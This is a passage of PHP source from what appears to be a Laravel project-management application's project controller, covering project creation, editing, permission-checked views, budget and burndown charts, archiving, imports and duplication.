$project->enable_miroboard = $request->has('miroboard_checkbox') && $request->miroboard_checkbox ? 1 : 0; $project->notes = trim_editor($request->notes); } if ($request->public) { $project->public = $request->public ? 1 : 0; } $project->save(); if ($request->has('team_id') && is_array($request->team_id) && count($request->team_id) > 0) { foreach ($request->team_id as $team) { ProjectDepartment::create([ 'project_id' => $project->id, 'team_id' => $team ]); } } if (trim_editor($request->notes) != '') { $project->notes()->create([ 'title' => 'Note', 'details' => $request->notes, 'client_id' => $request->client_id, ]); } $this->logSearchEntry($project->id, $project->project_name, 'projects.show', 'project'); $this->logProjectActivity($project->id, 'messages.addedAsNewProject'); if ($request->template_id) { $template = ProjectTemplate::with('projectMembers')->findOrFail($request->template_id); $counter = 1; foreach ($template->tasks as $task) { $projectTask = new Task(); $projectTask->project_id = $project->id; $projectTask->heading = $task->heading; $projectTask->task_category_id = $task->project_template_task_category_id; $projectTask->description = trim_editor($task->description); $projectTask->start_date = $startDate; $projectTask->due_date = $deadline; $projectTask->priority = $task->priority; if(isset($project->project_short_code)){ $projectTask->task_short_code = $project->project_short_code . '-' . $counter; }else{ $projectTask->task_short_code = $counter; } $projectTask->is_private = 0; $projectTask->save(); $taskLabels = explode(",", $task->task_labels); if (!empty($taskLabels) && count($taskLabels) > 0 && !in_array('', $taskLabels)) { $projectTask->labels()->sync($taskLabels); } foreach ($task->usersMany as $value) { TaskUser::create( [ 'user_id' => $value->id, 'task_id' => $projectTask->id ] ); } foreach ($task->subtasks as $value) { $projectTask->subtasks()->create(['title' => $value->title]); } $counter++; } } if (!is_null($request->duplicateProjectID)) { $this->storeDuplicateProject($request, $project); } // To add custom fields data if ($request->custom_fields_data) { $project->updateCustomFieldData($request->custom_fields_data); } // Commit Transaction DB::commit(); if($request->has('type') && $request->type == 'duplicateProject'){ return Reply::success(__('messages.projectCopiedSuccessfully')); } else { $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('projects.index'); } return Reply::dataOnly(['projectID' => $project->id, 'redirectUrl' => $redirectUrl]); } } catch (TransportException $e) { // Rollback Transaction DB::rollback(); return Reply::error('Please configure SMTP details to add project. Visit Settings -> notification setting to set smtp ' . $e->getMessage(), 'smtp_error'); } catch (\Exception $e) { // Rollback Transaction DB::rollback(); return Reply::error('Some error occurred when inserting the data. Please try again or contact support ' . $e->getMessage()); } } public function edit($id) { $this->project = Project::with('client', 'members', 'members.user', 'members.user.session', 'members.user.employeeDetail.designation', 'milestones', 'milestones.currency', 'departments') ->withTrashed() ->findOrFail($id) ->withCustomFields(); $userId = UserService::getUserId(); $memberIds = $this->project->members->pluck('user_id')->toArray(); $this->editPermission = user()->permission('edit_projects'); $this->editProjectMembersPermission = user()->permission('edit_project_members'); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && $userId == $this->project->added_by) || ($this->editPermission == 'owned' && $userId == $this->project->client_id && in_array('client', user_roles())) || ($this->editPermission == 'owned' && in_array($userId, $memberIds) && in_array('employee', user_roles())) || ($this->editPermission == 'both' && ($userId == $this->project->client_id || $userId == $this->project->added_by)) || ($this->editPermission == 'both' && in_array($userId, $memberIds) && in_array('employee', user_roles())) )); $this->pageTitle = __('app.update') . ' ' . __('app.project'); $getCustomFieldGroupsWithFields = $this->project->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->clients = User::allClients(null, false, ($this->editPermission == 'all' ? 'all' : null)); $this->categories = ProjectCategory::all(); $this->currencies = Currency::all(); $this->teams = Team::all(); $this->projectStatus = ProjectStatusSetting::where('status', 'active')->get(); $this->departmentIds = $this->project->departments->pluck('team_id')->toArray(); /** * If the project has departments, it retrieves the team IDs associated with those departments and fetches the users belonging to each team. * If the project does not have any departments, its giving all the employees. */ if ($this->project->departments->count() > 0 && ($this->editPermission == 'all' || $this->editProjectMembersPermission == 'all')) { $this->teamIds = $this->project->departments->pluck('team_id')->toArray(); $this->employees = collect([]); foreach ($this->teamIds as $teamId) { $team = User::departmentUsers($teamId); $this->employees = $this->employees->merge($team); } } else{ $this->employees = ''; if (($this->editPermission == 'all' || $this->editPermission = 'owned') || $this->editProjectMembersPermission == 'all') { $this->employees = User::allEmployees(null, false, ($this->editProjectMembersPermission == 'all' ? 'all' : null)); } } $userData = []; $usersData = $this->employees; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $userData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->userData = $userData; $this->view = 'projects.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } abort_403(user()->permission('edit_projects') == 'added' && $this->project->added_by != $userId); return view('projects.create', $this->data); } /** * @param UpdateProject $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateProject $request, $id) { $project = Project::findOrFail($id); $project->project_name = $request->project_name; $project->project_short_code = $request->project_code; $project->project_summary = trim_editor($request->project_summary); $project->start_date = companyToYmd($request->start_date); if (!$request->has('without_deadline')) { $project->deadline = companyToYmd($request->deadline); } else { $project->deadline = null; } if ($request->notes != '') { $project->notes = trim_editor($request->notes); } if ($request->category_id != '') { $project->category_id = $request->category_id; } if ($request->client_view_task) { $project->client_view_task = 'enable'; } else { $project->client_view_task = 'disable'; } if ($request->client_task_notification) { $project->allow_client_notification = 'enable'; } else { $project->allow_client_notification = 'disable'; } if ($request->manual_timelog) { $project->manual_timelog = 'enable'; } else { $project->manual_timelog = 'disable'; } $project->client_id = ($request->client_id == 'null' || $request->client_id == '') ? null : $request->client_id; if ($request->calculate_task_progress) { $project->calculate_task_progress = 'true'; $project->completion_percent = $this->calculateProjectProgress($id, 'true'); if($project->completion_percent == 100){ $project->status = 'finished'; }else if($project->completion_percent < 100 && $request->status == 'finished'){ $project->status = 'in progress'; }else{ $project->status = $request->status; } } else { $project->calculate_task_progress = 'false'; $project->completion_percent = $request->completion_percent; if($request->completion_percent == 100){ $project->status = 'finished'; }else{ $project->status = $request->status; } } $project->project_budget = $request->project_budget; $project->currency_id = $request->currency_id != '' ? $request->currency_id : company()->currency_id; $project->hours_allocated = $request->hours_allocated; $project->miro_board_id = $request->miro_board_id; if ($request->has('miroboard_checkbox')) { $project->client_access = $request->has('client_access') && $request->client_access ? 1 : 0; } else { $project->client_access = 0; } $project->enable_miroboard = $request->has('miroboard_checkbox') && $request->miroboard_checkbox ? 1 : 0; if ($request->public) { $project->public = 1; } if ($request->private) { $project->public = 0; } if (!$request->private && !$request->public && $request->member_id) { $project->projectMembers()->sync($request->member_id); } if (is_null($request->member_id && $request->has('member_id'))) { $project->projectMembers()->detach(); } $project->public_gantt_chart = $request->public_gantt_chart; $project->public_taskboard = $request->public_taskboard; $project->need_approval_by_admin = $request->need_approval_by_admin; $project->save(); if ($request->has('team_id')) { $project->projectDepartments()->sync($request->team_id); } // To add custom fields data if ($request->custom_fields_data) { $project->updateCustomFieldData($request->custom_fields_data); } $this->logProjectActivity($project->id, 'messages.updateSuccess'); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('projects.index'); } return Reply::successWithData(__('messages.updateSuccess'), ['projectID' => $project->id, 'redirectUrl' => $redirectUrl]); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $this->viewPermission = user()->permission('view_projects'); $viewFilePermission = user()->permission('view_project_files'); $this->viewMiroboardPermission = user()->permission('view_miroboard'); $viewMilestonePermission = user()->permission('view_project_milestones'); $this->viewPaymentPermission = user()->permission('view_project_payments'); $this->viewProjectTimelogPermission = user()->permission('view_project_timelogs'); $this->viewExpensePermission = user()->permission('view_project_expenses'); $this->viewRatingPermission = user()->permission('view_project_rating'); $this->viewBurndownChartPermission = user()->permission('view_project_burndown_chart'); $this->viewProjectMemberPermission = user()->permission('view_project_members'); $this->userId = UserService::getUserId(); $this->project = Project::with(['client', 'members', 'members.user','mentionProject', 'members.user.session', 'members.user.employeeDetail.designation', 'milestones' => function ($q) use ($viewMilestonePermission) { if ($viewMilestonePermission == 'added') { $q->where('added_by', $this->userId); } }, 'milestones.currency', 'files' => function ($q) use ($viewFilePermission) { if ($viewFilePermission == 'added') { $q->where('added_by', $this->userId); } }]) ->withTrashed() ->findOrFail($id) ->withCustomFields(); $this->projectStatusColor = ProjectStatusSetting::where('status_name', $this->project->status)->first(); $memberIds = $this->project->members->pluck('user_id')->toArray(); $mentionIds = $this->project->mentionProject->pluck('user_id')->toArray(); abort_403(!( $this->viewPermission == 'all' || $this->project->public || ($this->viewPermission == 'added' && $this->userId == $this->project->added_by) || ($this->viewPermission == 'owned' && $this->userId == $this->project->client_id && in_array('client', user_roles())) || ($this->viewPermission == 'owned' && in_array($this->userId, $memberIds) && in_array('employee', user_roles())) || ($this->viewPermission == 'both' && ($this->userId == $this->project->client_id || $this->userId == $this->project->added_by)) || ($this->viewPermission == 'both' && (in_array($this->userId, $memberIds) || $this->userId == $this->project->added_by) && in_array('employee', user_roles())) || (($this->viewPermission == 'none') && (!is_null(($this->project->mentionProject))) && in_array($this->userId, $mentionIds)) )); $this->pageTitle = $this->project->project_name; $getCustomFieldGroupsWithFields = $this->project->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->messageSetting = MessageSetting::first(); $this->projectStatus = ProjectStatusSetting::where('status', 'active')->get(); $tab = request('tab'); switch ($tab) { case 'members': abort_403(!( $this->viewProjectMemberPermission == 'all' )); $this->view = 'projects.ajax.members'; break; case 'milestones': $this->project = Project::with(['milestones' => function($query) { $query->withCount('tasks'); }])->findOrFail($id); $this->view = 'projects.ajax.milestones'; break; case 'taskboard': session()->forget('pusher_settings'); $this->view = 'projects.ajax.taskboard'; break; case 'tasks': $this->taskBoardStatus = TaskboardColumn::all(); $this->unAssignedTask = $this->project->tasks()->whereDoesntHave('users')->count(); return (!$this->project->trashed()) ? $this->tasks($this->project->project_admin == $this->userId) : $this->archivedTasks($this->project->project_admin == $this->userId); case 'gantt': $this->hideCompleted = request('hide_completed') ?? 0; // $this->taskBoardStatus = TaskboardColumn::all(); $this->ganttData = $this->ganttDataNew($this->project->id, $this->hideCompleted, $this->project->company); $this->view = 'projects.ajax.gantt_dhtml'; // $this->view = 'projects.ajax.gantt'; break; case 'invoices': return $this->invoices(); case 'files': $this->view = 'projects.ajax.files'; break; case 'timelogs': return $this->timelogs($this->project->project_admin == $this->userId); case 'expenses': return $this->expenses(); case 'miroboard'; abort_403(!in_array($this->viewMiroboardPermission, ['all']) || !$this->project->enable_miroboard && ((!in_array('client', user_roles()) && !$this->project->client_access && $this->project->client_id != $this->userId))); $this->view = 'projects.ajax.miroboard'; break; case 'payments': return $this->payments(); case 'discussion': $this->discussionCategories = DiscussionCategory::orderBy('order', 'asc')->get(); return $this->discussions($this->project->project_admin == $this->userId); case 'notes': return $this->notes($this->project->project_admin == $this->userId); case 'rating': return $this->rating($this->project->project_admin == $this->userId); case 'burndown-chart': $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); return $this->burndownChart($this->project); case 'activity': $this->activities = []; if(!in_array('client', user_roles())){ $this->activities = ProjectActivity::getProjectActivities($id, 10); } $this->view = 'projects.ajax.activity'; break; case 'tickets': return $this->tickets($this->project->project_admin == $this->userId); case 'orders': return $this->orders(); default: $this->taskChart = $this->taskChartData($id); $hoursLogged = $this->project->times()->sum('total_minutes'); $breakMinutes = ProjectTimeLogBreak::projectBreakMinutes($id); $this->hoursBudgetChart = $this->hoursBudgetChartData($this->project, $hoursLogged, $breakMinutes); $this->amountBudgetChart = $this->amountBudgetChartData($this->project); $this->taskBoardStatus = TaskboardColumn::all(); $this->earnings = Payment::where('status', 'complete') ->where('project_id', $id) ->sum('amount'); // Initialize variables to store hours and minutes $this->hoursLogged = $this->convertMinutesToHoursAndMinutes($hoursLogged, $breakMinutes); $this->expenses = Expense::where(['project_id' => $id, 'status' => 'approved'])->sum('price'); $this->profit = $this->earnings - $this->expenses; $this->view = 'projects.ajax.overview'; break; } if (request()->ajax()) { return $this->returnAjax($this->view); } $this->activeTab = $tab ?: 'overview'; return view('projects.show', $this->data); } // Convert minutes in hours and minutes public function convertMinutesToHoursAndMinutes($totalMinutes, $breakMinutes = 0) { $totalMinutes = ($totalMinutes - $breakMinutes); $hours = floor($totalMinutes / 60); $minutes = $totalMinutes % 60; return $hours.__('app.hour').' '. $minutes.__('app.minute'); } /** * XXXXXXXXXXX * * @return array */ public function taskChartData($id) { $taskStatus = TaskboardColumn::all(); $data['labels'] = $taskStatus->pluck('column_name'); $data['colors'] = $taskStatus->pluck('label_color'); $data['values'] = []; foreach ($taskStatus as $label) { $data['values'][] = Task::where('project_id', $id)->where('tasks.board_column_id', $label->id)->count(); } return $data; } /** * XXXXXXXXXXX * * @return array */ public function hoursBudgetChartData($project, $hoursLogged, $breakMinutes) { $hoursBudget = $project->hours_allocated ? $project->hours_allocated : 0; $hoursLogged = intdiv($hoursLogged - $breakMinutes, 60); $overRun = $hoursLogged - $hoursBudget; $overRun = $overRun < 0 ? 0 : $overRun; $hoursLogged = ($hoursLogged > $hoursBudget) ? $hoursBudget : $hoursLogged; $data['labels'] = [__('app.planned'), __('app.actual')]; $data['colors'] = ['#2cb100', '#d30000']; $data['threshold'] = $hoursBudget; $dataset = [ [ 'name' => __('app.planned'), 'values' => [$hoursBudget, $hoursLogged], ], [ 'name' => __('app.overrun'), 'values' => [0, $overRun], ], ]; $data['datasets'] = $dataset; return $data; } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function amountBudgetChartData($project) { $amountBudget = $project->project_budget ?: 0; $earnings = Payment::where('status', 'complete') ->where('project_id', $project->id) ->sum('amount'); $plannedOverun = $earnings < $amountBudget ? $earnings : $amountBudget; $overRun = $earnings - $amountBudget; $overRun = $overRun < 0 ? 0 : $overRun; $data['labels'] = [__('app.planned'), __('app.actual')]; $data['colors'] = ['#2cb100', '#d30000']; $data['threshold'] = $amountBudget; $dataset = [ [ 'name' => __('app.planned'), 'values' => [$amountBudget, $plannedOverun], ], [ 'name' => __('app.overrun'), 'values' => [0, $overRun], ], ]; $data['datasets'] = $dataset; return $data; } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return array */ public function storePin(Request $request) { $userId = UserService::getUserId(); $pinned = new Pinned(); $pinned->task_id = $request->task_id; $pinned->project_id = $request->project_id; $pinned->user_id = $userId; $pinned->added_by = user()->id; $pinned->save(); return Reply::success(__('messages.pinnedSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return array */ public function destroyPin(Request $request, $id) { $userId = UserService::getUserId(); Pinned::where('project_id', $id)->where('user_id', $userId)->delete(); return Reply::success(__('messages.deleteSuccess')); } public function assignProjectAdmin(Request $request) { $userId = $request->userId; $projectId = $request->projectId; $project = Project::findOrFail($projectId); $project->project_admin = $userId; $project->save(); return Reply::success(__('messages.roleAssigned')); } public function tasks($projectAdmin = false) { $dataTable = new TasksDataTable(true); if (!$projectAdmin) { $viewPermission = user()->permission('view_project_tasks'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned'])); $viewPermission = user()->permission('view_tasks'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); } $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'projects.ajax.tasks'; return $dataTable->render('projects.show', $this->data); } public function archivedTasks($projectAdmin = false) { $dataTable = new ArchiveTasksDataTable(); if (!$projectAdmin) { $viewPermission = user()->permission('view_project_tasks'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned'])); $viewPermission = user()->permission('view_tasks'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); } $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'projects.ajax.tasks'; return $dataTable->render('projects.show', $this->data); } public function ganttData() { $id = request('projectID'); $assignedTo = request('assignedTo'); $projectTask = request('projectTask'); $taskStatus = request('taskStatus'); $milestones = request('milestones'); $withoutDueDate = false; if ($assignedTo != 'all') { $tasks = Task::projectTasks($id, $assignedTo, null, $withoutDueDate); } else { $tasks = Task::projectTasks($id, null, null, $withoutDueDate); } if ($projectTask) { $tasks = $tasks->whereIn('id', explode(',', $projectTask)); } if ($taskStatus) { $tasks = $tasks->whereIn('board_column_id', explode(',', $taskStatus)); } if ($milestones != '') { $tasks = $tasks->whereIn('milestone_id', explode(',', $milestones)); } $data = array(); $count = 0; foreach ($tasks as $task) { $data[$count] = [ 'id' => 'task-' . $task->id, 'name' => $task->heading, 'start' => ((!is_null($task->start_date)) ? $task->start_date->format('Y-m-d') : ((!is_null($task->due_date)) ? $task->due_date->format('Y-m-d') : null)), 'end' => (!is_null($task->due_date)) ? $task->due_date->format('Y-m-d') : $task->start_date->format('Y-m-d'), 'progress' => 0, 'bg_color' => $task->boardColumn->label_color, 'taskid' => $task->id, 'draggable' => true ]; if (!is_null($task->dependent_task_id)) { $data[$count]['dependencies'] = 'task-' . $task->dependent_task_id; } $count++; } return response()->json($data); } public function invoices() { $dataTable = new InvoicesDataTable($this->onlyTrashedRecords); $viewPermission = user()->permission('view_project_invoices'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned'])); $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'projects.ajax.invoices'; return $dataTable->render('projects.show', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function invoiceList(Request $request, $id) { $options = ''; $viewPermission = user()->permission('view_invoices'); $userId = UserService::getUserId(); if (($viewPermission == 'all' || $viewPermission == 'added')) { if ($id != 0) { $invoices = Invoice::with('payment', 'currency')->where('project_id', $id)->where('send_status', 1)->pending()->get(); } else { $invoices = Invoice::with('payment')->where('send_status', 1) ->where(function ($q) { $q->where('status', 'unpaid') ->orWhere('status', 'partial'); })->get(); } foreach ($invoices as $item) { $paidAmount = $item->amountPaid(); $options .= ''; } } $bankData = ''; $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $bankDetails = BankAccount::where('status', 1)->where('currency_id', $request->currencyId); if($this->viewBankAccountPermission == 'added'){ $bankDetails = $bankDetails->where('added_by', $userId); } $bankDetails = $bankDetails->get(); foreach ($bankDetails as $bankDetail) { $bankName = ''; if($bankDetail->type == 'bank') { $bankName = $bankDetail->bank_name.' |'; } $bankData .= ''; } $exchangeRate = Currency::where('id', $request->currencyId)->pluck('exchange_rate')->toArray(); return Reply::dataOnly(['status' => 'success', 'data' => $options, 'account' => $bankData, 'exchangeRate' => $exchangeRate]); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function members($id) { $options = ''; $userData = []; $project = Project::select('id', 'public')->find($id); $checkPublic = ($project) ? $project->public : 0; $userId = UserService::getUserId(); if ($id == 0 || $checkPublic == 1) { $members = User::allEmployees(null, true); foreach ($members as $item) { $self_select = (user() && $userId == $item->id) ? '' . __('app.itsYou') . '' : ''; $options .= ''; } $projectShortCode = '--'; } else { $members = ProjectMember::with('user')->where('project_id', $id)->whereHas('user', function ($q) { $q->where('status', 'active'); })->get(); foreach ($members as $item) { $content = ( $item->user->status == 'deactive') ? "Inactive" : ''; $self_select = (user() && $userId == $item->user->id) ? '' . __('app.itsYou') . '' : ''; $options .= ''; $url = route('employees.show', [$item->user->id]); $userData[] = ['id' => $item->user->id, 'value' => $item->user->name, 'image' => $item->user->image_url, 'link' => $url]; } $project = Project::findOrFail($id); $projectShortCode = $project->project_short_code; } return Reply::dataOnly(['status' => 'success', 'unique_id' => $projectShortCode, 'data' => $options, 'userData' => $userData]); } public function timelogs($projectAdmin = false) { $dataTable = new TimeLogsDataTable($this->onlyTrashedRecords); if (!$projectAdmin) { $viewPermission = user()->permission('view_project_timelogs'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned'])); } $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'projects.ajax.timelogs'; return $dataTable->render('projects.show', $this->data); } public function expenses() { $dataTable = new ExpensesDataTable($this->onlyTrashedRecords); $viewPermission = user()->permission('view_project_expenses'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned'])); $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'projects.ajax.expenses'; return $dataTable->render('projects.show', $this->data); } public function payments() { $dataTable = new PaymentsDataTable($this->onlyTrashedRecords); $viewPermission = user()->permission('view_project_payments'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned'])); $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'projects.ajax.payments'; return $dataTable->render('projects.show', $this->data); } public function discussions($projectAdmin = false) { $dataTable = new DiscussionDataTable(); if (!$projectAdmin) { $viewPermission = user()->permission('view_project_discussions'); abort_403(!in_array($viewPermission, ['all', 'added'])); } $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'projects.ajax.discussion'; return $dataTable->render('projects.show', $this->data); } public function burndown(Request $request, $id) { $this->project = Project::with(['tasks' => function ($query) use ($request) { if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $query->where(DB::raw('DATE(`start_date`)'), '>=', Carbon::createFromFormat($this->company->date_format, $request->startDate)); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $query->where(DB::raw('DATE(`due_date`)'), '<=', Carbon::createFromFormat($this->company->date_format, $request->endDate)); } $query->whereNotNull('due_date'); }])->withTrashed()->findOrFail($id); $this->totalTask = $this->project->tasks->count(); $datesArray = []; $startDate = $request->startDate ? Carbon::createFromFormat($this->company->date_format, $request->startDate) : Carbon::parse($this->project->start_date); if ($this->project->deadline) { $endDate = $request->endDate ? Carbon::createFromFormat($this->company->date_format, $request->endDate) : Carbon::parse($this->project->deadline); } else { $endDate = $request->endDate ? Carbon::createFromFormat($this->company->date_format, $request->endDate) : now(); } for ($startDate; $startDate <= $endDate; $startDate->addDay()) { $datesArray[] = $startDate->format($this->company->date_format); } $uncompletedTasks = []; $createdTasks = []; $deadlineTasks = []; $deadlineTasksCount = []; $this->datesArray = json_encode($datesArray); foreach ($datesArray as $key => $value) { if (Carbon::createFromFormat($this->company->date_format, $value)->lessThanOrEqualTo(now())) { $uncompletedTasks[$key] = $this->project->tasks->filter(function ($task) use ($value) { if (is_null($task->completed_on)) { return true; } return $task->completed_on ? $task->completed_on->greaterThanOrEqualTo(Carbon::createFromFormat($this->company->date_format, $value)) : false; })->count(); $createdTasks[$key] = $this->project->tasks->filter(function ($task) use ($value) { return Carbon::createFromFormat($this->company->date_format, $value)->startOfDay()->equalTo($task->created_at->startOfDay()); })->count(); if ($key > 0) { $uncompletedTasks[$key] += $createdTasks[$key]; } } $deadlineTasksCount[] = $this->project->tasks->filter(function ($task) use ($value) { return Carbon::createFromFormat($this->company->date_format, $value)->startOfDay()->equalTo($task->due_date->startOfDay()); })->count(); if ($key == 0) { $deadlineTasks[$key] = $this->totalTask - $deadlineTasksCount[$key]; } else { $newKey = $key - 1; $deadlineTasks[$key] = $deadlineTasks[$newKey] - $deadlineTasksCount[$key]; } } $this->uncompletedTasks = json_encode($uncompletedTasks); $this->deadlineTasks = json_encode($deadlineTasks); if ($request->ajax()) { return $this->data; } $this->startDate = $request->startDate ? Carbon::parse($request->startDate)->format($this->company->date_format) : Carbon::parse($this->project->start_date)->format($this->company->date_format); $this->endDate = $endDate->format($this->company->date_format); return view('projects.ajax.burndown', $this->data); } public function notes($projectAdmin = false) { $dataTable = new ProjectNotesDataTable(); if (!$projectAdmin) { $viewPermission = user()->permission('view_project_note'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); } $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'projects.ajax.notes'; return $dataTable->render('projects.show', $this->data); } public function tickets($projectAdmin = false) { $dataTable = new TicketDataTable($this->onlyTrashedRecords); if (!$projectAdmin) { $viewPermission = user()->permission('view_tickets'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); } $this->activeTab = request()->tab ?: 'profile'; $this->view = 'projects.ajax.tickets'; return $dataTable->render('projects.show', $this->data); } public function burndownChart($project) { $viewPermission = user()->permission('view_project_burndown_chart'); $userId = UserService::getUserId(); abort_403(!(in_array($viewPermission, ['all']) || $project->project_admin == $userId)); $tab = request('tab'); $this->activeTab = $tab ?: 'burndown-chart'; $this->view = 'projects.ajax.burndown'; return view('projects.show', $this->data); } public function rating($projectAdmin) { if (!$projectAdmin) { $viewPermission = user()->permission('view_project_rating'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); } $this->deleteRatingPermission = user()->permission('delete_project_rating'); $this->editRatingPermission = user()->permission('edit_project_rating'); $this->addRatingPermission = user()->permission('add_project_rating'); $tab = request('tab'); $this->activeTab = $tab ?: 'rating'; $this->view = 'projects.ajax.rating'; return view('projects.show', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function archive(ArchiveProjectsDataTable $dataTable) { $viewPermission = user()->permission('view_projects'); abort_403($viewPermission == 'none'); if (!request()->ajax()) { if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); $this->allEmployees = User::allEmployees(null, true); } $this->categories = ProjectCategory::all(); $this->departments = Team::all(); } return $dataTable->render('projects.archive', $this->data); } public function archiveRestore($id) { $project = Project::withTrashed()->findOrFail($id); $project->restore(); return Reply::success(__('messages.projectRevertSuccessfully')); } public function importProject() { $this->pageTitle = __('app.importExcel') . ' ' . __('app.menu.projects'); $this->addPermission = user()->permission('add_projects'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->view = 'projects.ajax.import'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('projects.create', $this->data); } public function importStore(ImportRequest $request) { $rvalue = $this->importFileProcess($request, ProjectImport::class); if($rvalue == 'abort'){ return Reply::error(__('messages.abortAction')); } $view = view('projects.ajax.import_progress', $this->data)->render(); return Reply::successWithData(__('messages.importUploadSuccess'), ['view' => $view]); } public function importProcess(ImportProcessRequest $request) { $batch = $this->importJobProcess($request, ProjectImport::class, ImportProjectJob::class); return Reply::successWithData(__('messages.importProcessStart'), ['batch' => $batch]); } public function changeProjectStatus(Request $request) { $projectId = $request->projectId; $statusID = $request->statusId; $project = Project::with('members')->findOrFail($projectId); $projectUsers = $project->members->pluck('user_id')->toArray(); $this->editProjectPermission = user()->permission('edit_projects'); $userId = UserService::getUserId(); abort_403(!( $this->editProjectPermission == 'all' || ($this->editProjectPermission == 'added' && $userId == $project->added_by) || ($this->editProjectPermission == 'owned' && $userId == $project->client_id && in_array('client', user_roles())) || ($this->editProjectPermission == 'owned' && in_array($userId, $projectUsers) && in_array('employee', user_roles())) || ($this->editProjectPermission == 'both' && ($userId == $project->client_id || $userId == $project->added_by)) || ($this->editProjectPermission == 'both' && in_array($userId, $projectUsers) && in_array('employee', user_roles()) ))); $projectStatus = ProjectStatusSetting::where('status_name', $statusID)->first(); if ($projectStatus->status_name !== 'finished') { $this->handleNonFinishedStatus($project, $projectId, $projectStatus->status_name); } else { $response = $this->handleFinishedStatus($project, $projectId); if (!$response) { return Reply::error(__('messages.projectTasksNotCompleted')); } } return Reply::success(__('messages.updateSuccess')); } public function pendingTasks($id) { $userId = UserService::getUserId(); if ($id != 0) { $tasks = Task::join('task_users', 'task_users.task_id', '=', 'tasks.id') ->with('project') ->pending() ->where('task_users.user_id', '=', $userId) ->where('tasks.project_id', '=', $id) ->select('tasks.*') ->get(); } else { $tasks = Task::join('task_users', 'task_users.task_id', '=', 'tasks.id') ->with('project') ->pending() ->where('task_users.user_id', '=', $userId) ->select('tasks.*') ->get(); } $options = ''; foreach ($tasks as $item) { $name = ''; if (!is_null($item->project_id)) { $name .= "
" . $item->heading . "
" . $item->project->project_name . '
'; } else { $name .= "" . $item->heading . ''; } $options .= ''; } return Reply::dataOnly(['status' => 'success', 'data' => $options]); } public function ajaxLoadProject(Request $request) { $search = $request->search; $response = []; if ($search) { $lists = Project::allProjects($search); foreach ($lists as $list) { $response[] = [ 'id' => $list->id, 'text' => $list->project_name, ]; } } return response()->json($response); } public function duplicateProject($id) { $this->projectId = $id; $this->project = Project::findOrFail($id); $userId = UserService::getUserId(); $this->taskboardColumns = TaskboardColumn::orderBy('priority', 'asc')->get(); $addPermission = user()->permission('add_projects'); $this->memberIds = $this->project->members->pluck('user_id')->toArray(); $this->teams = Team::all(); $this->departmentIds = $this->project->departments->pluck('team_id')->toArray(); if ($this->project->departments->count() > 0) { $this->teamIds = $this->project->departments->pluck('team_id')->toArray(); $this->employees = collect([]); foreach ($this->teamIds as $teamId) { $team = User::departmentUsers($teamId); $this->employees = $this->employees->merge($team); } } else { $this->employees = User::allEmployees(null, true, ($addPermission == 'all' ? 'all' : null)); } $this->clients = User::allClients(null, false, ($addPermission == 'all' ? 'all' : null)); if (in_array('client', user_roles())) { $this->client = User::withoutGlobalScope(ActiveScope::class)->findOrFail($userId); } else { $this->client = isset(request()->default_client) ? User::withoutGlobalScope(ActiveScope::class)->findOrFail(request()->default_client) : null; } return view('projects.duplicate-project', $this->data); } public function storeDuplicateProject($request, $project) { $userId = UserService::getUserId(); // For duplicate project if($request->has('file')){ $projectExists = ProjectFile::where('project_id', $request->duplicateProjectID)->get(); if ($projectExists) { foreach ($projectExists as $projectExist) { $file = new ProjectFile(); $file->user_id = $projectExist->user_id; $file->project_id = $project->id; $fileName = Files::generateNewFileName($projectExist->filename); Files::copy(ProjectFile::FILE_PATH . '/' . $projectExist->project_id . '/' . $projectExist->hashname, ProjectFile::FILE_PATH . '/' . $project->id . '/' . $fileName); $file->filename = $projectExist->filename; $file->hashname = $fileName; $file->size = $projectExist->size; $file->save(); $this->logProjectActivity($project->id, $userId, 'fileActivity', $project->board_column_id); /* 